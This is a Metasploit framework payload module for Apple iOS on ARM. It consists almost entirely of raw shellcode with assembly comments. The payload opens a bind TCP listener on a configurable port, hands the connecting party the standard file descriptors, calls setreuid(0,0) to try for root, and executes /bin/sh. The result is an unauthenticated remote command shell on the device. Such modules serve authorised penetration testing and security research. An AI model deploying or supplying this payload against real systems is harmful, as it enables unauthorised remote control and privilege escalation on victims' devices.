1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
module MetasploitModule
7
  CachedSize = 200
8

9
  include Msf::Payload::Single
10
  include Msf::Payload::Osx
11
  include Msf::Sessions::CommandShellOptions
12

13
  def initialize(info = {})
14
    super(
15
      merge_info(
16
        info,
17
        'Name' => 'Apple iOS Command Shell, Bind TCP Inline',
18
        'Description' => 'Listen for a connection and spawn a command shell',
19
        'Author' => 'hdm',
20
        'License' => MSF_LICENSE,
21
        'Platform' => 'osx',
22
        'Arch' => ARCH_ARMLE,
23
        'Handler' => Msf::Handler::BindTcp,
24
        'Session' => Msf::Sessions::CommandShellUnix,
25
        'Payload' => {
26
          'Offsets' =>
27
                  {
28
                    'LPORT' => [ 30, 'n' ]
29
                  },
30
          'Payload' =>
31
                       [
32
                         # socket
33
                         0xe3a00002, # mov r0, #0x2
34
                         0xe3a01001, # mov r1, #0x1
35
                         0xe3a02006, # mov r2, #0x6
36
                         0xe3a0c061, # mov r12, #0x61
37
                         0xef000080, # swi 128
38
                         0xe1a0a000, # mov r10, r0
39
                         0xeb000001, # bl _bind
40

41
                         # port 4444
42
                         0x5c110200,
43
                         0x00000000,
44

45
                         # bind
46
                         0xe1a0000a, # mov r0, r10
47
                         0xe1a0100e, # mov r1, lr
48
                         0xe3a02010, # mov r2, #0x10
49
                         0xe3a0c068, # mov r12, #0x68
50
                         0xef000080, # swi 128
51

52
                         # listen
53
                         0xe1a0000a, # mov r0, r10
54
                         0xe3a01001, # mov r1, #0x1
55
                         0xe3a0c06a, # mov r12, #0x6a
56
                         0xef000080, # swi 128
57

58
                         # accept
59
                         0xe3a0c01e, # mov r12, #0x1e
60
                         0xe1a0000a, # mov r0, r10
61
                         0xe3a01010, # mov r1, #0x10
62
                         0xe50d1018, # str r1, [sp, #-24]
63
                         0xe24d2010, # sub r2, sp, #0x10
64
                         0xe24d3018, # sub r3, sp, #0x18
65
                         0xef000080, # swi 128
66
                         0xe1a0b000, # mov r11, r0
67

68
                         # setup dup2
69
                         0xe3a05002, # mov r5, #0x2
70

71
                         # dup2
72
                         0xe3a0c05a, # mov r12, #0x5a
73
                         0xe1a0000b, # mov r0, r11
74
                         0xe1a01005, # mov r1, r5
75
                         0xef000080, # swi 128
76
                         0xe2455001, # sub r5, r5, #0x1
77
                         0xe3550000, # cmp r5, #0x0
78
                         0xaafffff8, # bge _dup2
79

80
                         # setreuid(0,0)
81
                         0xe3a00000, # mov r0, #0x0
82
                         0xe3a01000, # mov r1, #0x0
83
                         0xe3a0c07e, # mov r12, #0x7e
84
                         0xef000080, # swi 128
85

86
                         # execve
87
                         0xe0455005, # sub r5, r5, r5
88
                         0xe1a0600d, # mov r6, sp
89
                         0xe24dd020, # sub sp, sp, #0x20
90
                         0xe28f0014, # add r0, pc, #0x14
91
                         0xe4860000, # str r0, [r6], #0
92
                         0xe5865004, # str r5, [r6, #4]
93
                         0xe1a01006, # mov r1, r6
94
                         0xe3a02000, # mov r2, #0x0
95
                         0xe3a0c03b, # mov r12, #0x3b
96
                         0xef000080, # swi 128
97

98
                         # /bin/sh
99
                         0x6e69622f,
100
                         0x0068732f
101
                       ].pack('V*')
102
        }
103
      )
104
    )
105
  end
106
end
107

108